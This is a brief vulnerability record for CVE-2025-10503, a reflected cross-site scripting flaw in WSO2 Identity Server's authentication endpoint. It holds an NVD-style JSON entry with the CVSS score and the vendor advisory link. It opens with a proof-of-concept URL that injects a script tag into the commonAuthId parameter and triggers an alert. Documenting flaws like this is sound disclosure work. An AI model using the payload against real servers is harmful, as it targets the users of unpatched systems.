CVE-2025-10503

<!-- Proof of Concept (PoC) for CVE-2025-10503 Description: Inject a script into the authentication endpoint parameter. Usage: Victim accesses the URL below. --> https://target-domain/authenticationendpoint/login.do?commonAuthId=<script>alert('CVE-2025-10503_XSS');</script>

{"cve": {"id": "CVE-2025-10503", "sourceIdentifier": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "published": "2026-04-29T09:16:23.663", "lastModified": "2026-05-01T17:40:32.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The authentication endpoint accepts user-supplied input without enforcing expected validation constraints, leading to a lack of proper output encoding. This allows for the injection of malicious JavaScript payloads, enabling reflected cross-site scripting.\n\nAn attacker can leverage this vulnerability to redirect the user's browser to a malicious website, modify the user interface of the web page, retrieve information from the browser, or cause other harmful actions. However, due to the protection of session-related cookies with the httpOnly flag, session hijacking is not possible."}], "metrics": {"cvssMetricV31": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wso2:identity_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.1.0", "versionEndExcluding": "7.1.0.28", "matchCriteriaId": "5AADCF27-06C5-40A6-88A0-2F48F62D78B1"}]}]}], "references": [{"url": "https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2025-4577/", "source": "ed10eef1-636d-4fbe-9993-6890dfa878f8", "tags": ["Vendor Advisory"]}]}}